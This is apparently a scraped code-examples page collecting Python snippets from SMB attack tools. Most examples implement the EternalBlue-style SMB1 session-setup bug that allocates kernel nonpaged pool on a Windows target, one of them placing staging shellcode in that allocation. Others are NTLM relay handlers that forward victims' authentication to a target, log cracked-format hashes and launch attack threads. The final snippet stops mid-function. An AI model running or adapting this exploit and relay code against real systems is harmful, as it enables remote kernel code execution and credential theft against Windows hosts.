def createSessionAllocNonPaged(target, size):
	# There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
	# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
	# The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
	
	# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data. 
	# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
	# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
	#   - GetNtSecurityParameters() function is resposible for extracting data from this packet format
	# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
	#   - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
	
	# These 2 formats have different WordCount (first one is 13 and later is 12). 
	# Here is logic in BlockingSessionSetupAndX() related to this bug
	# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
	# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
	# - else, process a message as NT Security request
	
	# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
	# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
	# But GetExtendSecurityParameters() checks ByteCount value again.
	
	# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
	
	conn = smb.SMB(target, target)
	_, flags2 = conn.get_flags()
	# FLAGS2_EXTENDED_SECURITY MUST not be set
	flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
	# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
	if size >= 0xffff:
		flags2 &= ~smb.SMB.FLAGS2_UNICODE
		reqSize = size // 2
	else:
		flags2 |= smb.SMB.FLAGS2_UNICODE
		reqSize = size
	conn.set_flags(flags2=flags2)
	
	pkt = smb.NewSMBPacket()

	sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
	sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

	sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
	sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
	sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
	sessionSetup['Parameters']['SessionKey']         = 0
	sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
	# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
	sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY  # can add other flags

	sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
	pkt.addCommand(sessionSetup)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('SMB1 session setup allocate nonpaged pool success')
	else:
		print('SMB1 session setup allocate nonpaged pool failed')
	return conn
Esempio n. 2
0
def createSessionAllocNonPaged(target, size):
    conn = MYSMB(target, use_ntlmv2=False)  # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
    _, flags2 = conn.get_flags()
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters']['MaxBufferSize'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters'][
        'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

    sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
        return conn

    if USERNAME:
        # Try login with valid user because anonymous user might get access denied on Windows Server 2012.
        # Note: If target allows only NTLMv2 authentication, the login will always fail.
        # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
        conn.set_flags(flags2=flags2)

        # new SMB packet to reset flags
        pkt = smb.NewSMBPacket()
        pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
        # UnicodePasswordLen field is in Reserved for extended security format.
        sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
        sessionSetup['Data'] = pack('<H',
                                    reqSize + len(pwd_unicode) + len(USERNAME)) + pwd_unicode + USERNAME + '\x00' * 16
        pkt.addCommand(sessionSetup)

        conn.sendSMB(pkt)
        recvPkt = conn.recvSMB()
        if recvPkt.getNTStatus() == 0:
            print('SMB1 session setup allocate nonpaged pool success')
            return conn

    # lazy to check error code, just print fail message
    print('SMB1 session setup allocate nonpaged pool failed')
    sys.exit(1)
Esempio n. 3
0
        def createSessionAllocNonPaged(self, target, size):
            conn = smb.SMB(target, target)
            _, flags2 = conn.get_flags()

            flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

            if size >= 0xffff:
                flags2 &= ~smb.SMB.FLAGS2_UNICODE
                reqSize = size // 2
            else:
                flags2 |= smb.SMB.FLAGS2_UNICODE
                reqSize = size

            conn.set_flags(flags2=flags2)
            pkt = smb.NewSMBPacket()

            sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup[
                'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

            sessionSetup['Parameters']['MaxBufferSize'] = 61440
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VcNumber'] = 2
            sessionSetup['Parameters']['SessionKey'] = 0
            sessionSetup['Parameters']['SecurityBlobLength'] = 0
            sessionSetup['Parameters'][
                'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY

            sessionSetup['Data'] = pack('<H', reqSize) + b'\x00' * 20
            pkt.addCommand(sessionSetup)

            conn.sendSMB(pkt)
            recvPkt = conn.recvSMB()

            return conn
Esempio n. 4
0
    def createSessionAllocNonPaged(target, size):
        conn = smb.SMB(target, target)
        _, flags2 = conn.get_flags()
        flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

        if size >= 0xffff:
            flags2 &= ~smb.SMB.FLAGS2_UNICODE
            reqSize = size // 2
        else:
            flags2 |= smb.SMB.FLAGS2_UNICODE
            reqSize = size
        conn.set_flags(flags2=flags2)

        pkt = smb.NewSMBPacket()

        sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

        sessionSetup['Parameters']['MaxBufferSize'] = 61440  # can be any value greater than response size
        sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
        sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
        sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY  # can add other flags

        sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20
        pkt.addCommand(sessionSetup)

        conn.sendSMB(pkt)
        recvPkt = conn.recvSMB()
        return conn
Esempio n. 5
0
def createSessionAllocNonPaged(target, size):
    # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
    # You can see the allocation logic (even code is not the same) in WinNT4 source code
    # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
    conn = smb.SMB(target, target)
    _, flags2 = conn.get_flags()
    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters'][
        'MaxBufferSize'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = os.getpid()
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters']['SecurityBlobLength'] = 0
    sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY

    # I believe this is another SMB1 bug.
    # Empty SecurityBlob with CAP_EXTENDED_SECURITY but no FLAGS2_EXTENDED_SECURITY makes target confused the request type.
    # This request should be https://msdn.microsoft.com/en-us/library/cc246328.aspx. After some checking, a target use
    #   this request as https://msdn.microsoft.com/en-us/library/ee441849.aspx. So a target reads ByteCount from wrong offset.
    sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
    return conn
Esempio n. 6
0
def login_put_staging_sc(conn, staging_sc, maxBufferSize):
    _, flags2 = conn.get_flags()

    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    flags2 |= smb.SMB.FLAGS2_UNICODE
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
    sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters'][
        'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    # UnicodePasswordLen field is in Reserved for extended security format.
    sessionSetup['Parameters'][
        'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

    # allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes)
    # UNICODE.maxBufferSize: 0x15ff
    # after maxBufferSize is padding which is '\x00'*4
    # so code is 'ff 15 00 00 00 00' => call [rip+0]
    # after padding is pointer to allocated npp and shellcode there
    sessionSetup['Data'] = pack('<H',
                                0x1604) + '\x00' * 5 + staging_sc + '\x00' * 8
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX):
        print('SMB1 session setup allocate nonpaged pool success')
        conn.set_uid(recvPkt['Uid'])
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
        sys.exit()
    def create_alloc_session(target, size):
        connection = smb.SMB(target, target)
        _, flags = connection.get_flags()
        flags &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

        if size >= 0xffff:
            flags &= ~smb.SMB.FLAGS2_UNICODE
            request_size = size // 2
        else:
            flags |= smb.SMB.FLAGS2_UNICODE
            request_size = size

        connection.set_flags(flags2=flags)

        packet = smb.NewSMBPacket()

        session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
        session_setup[
            'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
        session_setup['Parameters']['MaxBufferSize'] = 61440
        session_setup['Parameters']['MaxMpxCount'] = 2
        session_setup['Parameters']['VcNumber'] = 2
        session_setup['Parameters']['SessionKey'] = 0
        session_setup['Parameters']['SecurityBlobLength'] = 0
        session_setup['Parameters'][
            'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
        session_setup['Data'] = struct.pack('<H', request_size) + '\x00' * 20

        packet.addCommand(session_setup)

        connection.sendSMB(packet)

        retval_packet = connection.recvSMB()
        if retval_packet.getNTStatus() == 0:
            print('SMB1 session setup allocate nonpaged pool success')
        else:
            print('SMB1 session setup allocate nonpaged pool failed')
        return connection
Esempio n. 8
0
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = smbData[self.target]['SMBClient']
                challengeMessage = self.do_ntlm_negotiate(client, token)
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10
                # Let's store it in the connection data
                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication

                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = smbData[self.target]['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    connData['AUTHUSER'] = authenticateMessage['user_name']
                    self.authUser = connData['AUTHUSER']
                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                    #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = '\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff
                    # Reset the UID
                    if self.target[0] == 'SMB':
                        client.setUid(0)
                    logging.error(
                        "Authenticating against %s as %s\%s FAILED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))

                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    #del (smbData[self.target])
                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    logging.info(
                        "Authenticating against %s as %s\%s SUCCEED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))
                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())
                    del (smbData[self.target])
                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']
            #############################################################
            # SMBRelay
            smbClient = smbData[self.target]['SMBClient']
            if sessionSetupData['Account'] != '':
                #TODO: Fix this for other protocols than SMB [!]
                clientResponse, errorCode = smbClient.login_standard(
                    sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = '\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff
                # Reset the UID
                smbClient.setUid(0)
                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)
                return None, [packet], errorCode
                # Now continue with the server
            else:
                # We have a session, create a thread and do whatever we want
                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                logging.info(ntlm_hash_data['hash_string'])
                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())
                #TODO: Fix this for other protocols than SMB [!]
                clientThread = self.config.attacks['SMB'](self.config,
                                                          smbClient,
                                                          self.config.exeFile,
                                                          self.config.command)
                clientThread.start()

                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)

                # Remove the target server from our connection list, the work is done
                del (smbData[self.target])
                # Now continue with the server

            #############################################################

            # Do the verification here, for just now we grant access
            # TODO: Manage more UIDs for the same session
            errorCode = STATUS_SUCCESS
            connData['Uid'] = 10
            respParameters['Action'] = 0

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True
        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
Esempio n. 9
0
def smbComSessionSetupAndX(packet, packetNum, SMBCommand, questions, replies):

    # Test return code is always 0, otherwise leave before doing anything
    if packet['ErrorCode'] != 0:
        if packet['ErrorClass'] != 0x16:
            return False

    print "SMB_COM_SESSION_SETUP_ANDX ",
    try:
        if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
            # Query
            if SMBCommand['WordCount'] == 12:
                # Extended Security
                sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                    SMBCommand['Parameters'])
                sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
                sessionSetupData[
                    'SecurityBlobLength'] = sessionSetupParameters[
                        'SecurityBlobLength']
                sessionSetupData.fromString(SMBCommand['Data'])

                if struct.unpack('B', sessionSetupData['SecurityBlob']
                                 [0])[0] != smb.ASN1_AID:
                    # If there no GSSAPI ID, it must be an AUTH packet
                    blob = smb.SPNEGO_NegTokenResp(
                        sessionSetupData['SecurityBlob'])
                    token = blob['ResponseToken']
                else:
                    # NEGOTIATE packet
                    blob = smb.SPNEGO_NegTokenInit(
                        sessionSetupData['SecurityBlob'])
                    token = blob['MechToken']
                messageType = struct.unpack(
                    '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
                if messageType == 0x01:
                    # NEGOTIATE_MESSAGE
                    negotiateMessage = ntlm.NTLMAuthNegotiate()
                    negotiateMessage.fromString(token)
                elif messageType == 0x03:
                    # AUTHENTICATE_MESSAGE, here we deal with authentication
                    authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                    authenticateMessage.fromString(token)

            else:
                # Standard Security
                sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                    SMBCommand['Parameters'])
                sessionSetupData = smb.SMBSessionSetupAndX_Data()
                sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                    'AnsiPwdLength']
                sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                    'UnicodePwdLength']
                sessionSetupData.fromString(SMBCommand['Data'])

        else:
            # Response
            if SMBCommand['WordCount'] == 4:
                # Extended Security
                sessionResponse = SMBCommand
                sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
                    sessionResponse['Parameters'])
                sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data(
                    flags=packet['Flags2'])
                sessionData['SecurityBlobLength'] = sessionParameters[
                    'SecurityBlobLength']
                sessionData.fromString(sessionResponse['Data'])
                respToken = smb.SPNEGO_NegTokenResp(
                    sessionData['SecurityBlob'])
                if respToken.fields.has_key('ResponseToken'):
                    # Let's parse some data and keep it to ourselves in case it is asked
                    ntlmChallenge = ntlm.NTLMAuthChallenge(
                        respToken['ResponseToken'])
                    if ntlmChallenge['TargetInfoFields_len'] > 0:
                        infoFields = ntlmChallenge['TargetInfoFields']
                        av_pairs = ntlm.AV_PAIRS(
                            ntlmChallenge['TargetInfoFields']
                            [:ntlmChallenge['TargetInfoFields_len']])
                        if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
                            __server_name = av_pairs[
                                ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
                        if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
                            __server_domain = av_pairs[
                                ntlm.NTLMSSP_AV_DOMAINNAME][1].decode(
                                    'utf-16le')

            else:
                # Standard Security
                sessionResponse = SMBCommand

                sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters(
                    sessionResponse['Parameters'])
                sessionData = smb.SMBSessionSetupAndXResponse_Data(
                    flags=packet['Flags2'], data=sessionResponse['Data'])
    except Exception, e:
        print "ERROR: %s" % e
        print "Command: 0x%x" % packet['Command']
        print "Packet: %d %r" % (packetNum, packet.getData())
        return True
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)

        #############################################################
        # SMBRelay
        # Are we ready to relay or should we just do local auth?
        if 'relayToHost' not in connData:
            # Just call the original SessionSetup
            return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand,
                                                recvPacket)

        # We have confirmed we want to relay to the target host.
        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            rawNTLM = False
            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = connData['SMBClient']
                try:
                    challengeMessage = self.do_ntlm_negotiate(client, token)
                except Exception:
                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)
                    # Raise exception again to pass it on to the SMB server
                    raise

                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegState'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = challengeMessage.getData()

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED

                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10

                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = connData['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    self.authUser = (
                        '%s/%s' %
                        (authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le'))
                    ).upper()

                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
